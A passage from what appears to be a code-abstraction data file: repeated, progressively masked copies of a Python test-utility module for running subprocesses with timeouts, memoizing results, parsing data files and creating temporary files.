be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\nwhich = memoize(which)\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n\n\ndef shared_binary_location(cmd='shared'):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\ndef binary_location(cmd, USE_PATH=False):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n\n\ndef shared_binary_location(cmd='shared'):\n \"\"\" ../src/ is used by default.\n \"\"\"\n return os.path.join(BIN_PREFIX, cmd)\n return binary_location(cmd, SHARED_USE_PATH)\n\n\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\ndef wait_process(pid, timeout=None):\n \"\"\"Wait for process to finish\n \"\"\"\n\n def process():\n try:\n os.kill(pid, 0)\n except OSError:\n return True\n else:\n return None\n return wait_condition(process, timeout)\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\ndef run_cmd_wait_nofail(*args, **kwargs):\n \"\"\"Same as run_cmd_wait but silence the exception if it happens\"\"\"\n try:\n return run_cmd_wait(*args, **kwargs)\n except CommandError as e:\n return e.code, e.out, e.err\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\ndef run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=\n False, env=os.environ, timeout=None):\n \"\"\"Run a subprocess and wait for it to finish\"\"\"\n if input is None:\n stdin = None\n else:\n stdin = PIPE\n if merge_streams:\n stderr = STDOUT\n else:\n stderr = PIPE\n arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,\n 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},\n 'input': input}\n out, err, exit = _get_output(arguments, timeout)\n if merge_streams:\n if exit != 0:\n raise CommandError(cmd, exit, out)\n else:\n return exit, out\n elif exit != 0:\n raise CommandError(cmd, exit, out, err)\n else:\n return exit, out, err\n\n\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n timeout = sleeptime\n tries = int(timeout / sleeptime)\n for i in range(tries):\n val = cond()\n if val is not None:\n break\n sleep(sleeptime)\n return val\n\n\n<function token>\n\n\ndef _queue_output(arguments, pidq, outputq):\n \"\"\"Read/Write output/input of given process.\n This function is meant to be executed in a thread as it may block\n \"\"\"\n kwargs = arguments['process']\n input = arguments['input']\n try:\n proc = Popen(**kwargs)\n except OSError as e:\n pidq.put(None)\n outputq.put(('',\n \"Unexpected exception caught during execution: '{0}' . \".format\n (e), 255))\n return\n pidq.put(proc.pid)\n out, err = proc.communicate(input)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n outputq.put((out, err, proc.returncode))\n\n\ndef _retrieve_output(thread, timeout, queue, thread_error):\n \"\"\"Fetch output from binary subprocess queues\n \"\"\"\n thread.join(timeout)\n if thread.isAlive():\n raise TimeoutWaitingFor(thread_error + '. Unexpected error')\n try:\n data = queue.get(timeout=timeout)\n except Empty:\n data = TimeoutWaitingFor('streams from program')\n return data\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n\n\ndef memoize(obj):\n \"\"\"Keep an in-memory cache of function results given its inputs\n \"\"\"\n cache = obj.cache = {}\n\n @functools.wraps(obj)\n def memoizer(*args, **kwargs):\n key = str(args) + str(kwargs)\n if key not in cache:\n cache[key] = obj(*args, **kwargs)\n return cache[key]\n return memoizer\n\n\n<import token>\n<assignment token>\n\n\ndef parse_datafile(file):\n \"\"\"Parse .data files, treating files as JSON\n \"\"\"\n data = []\n with open(file) as fh:\n for line in fh:\n line = line.rstrip('\\n')\n if line.startswith('[') and line.endswith(']'):\n line = '{' + line[1:-1] + '}'\n if line.startswith('{'):\n data.append(json.loads(line))\n else:\n data.append(line)\n return data\n\n\ndef mkstemp(data):\n \"\"\"\n Create a temporary file that is removed at process exit\n \"\"\"\n\n def rmtemp(name):\n try:\n os.remove(name)\n except OSError:\n pass\n f = tempfile.NamedTemporaryFile(delete=False)\n f.write(data)\n f.close()\n atexit.register(rmtemp, f.name)\n return f.name\n\n\ndef mkstemp_exec(data):\n \"\"\"Create a temporary executable file that is removed at process exit\n \"\"\"\n name = mkstemp(data)\n os.chmod(name, 493)\n return name\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef wait_condition(cond, timeout=1, sleeptime=0.01):\n \"\"\"Wait for condition to return anything other than None\n \"\"\"\n if timeout is None:\n timeout = 1\n if timeout < sleeptime:\n print('Warning, timeout cannot be smaller than', sleeptime)\n 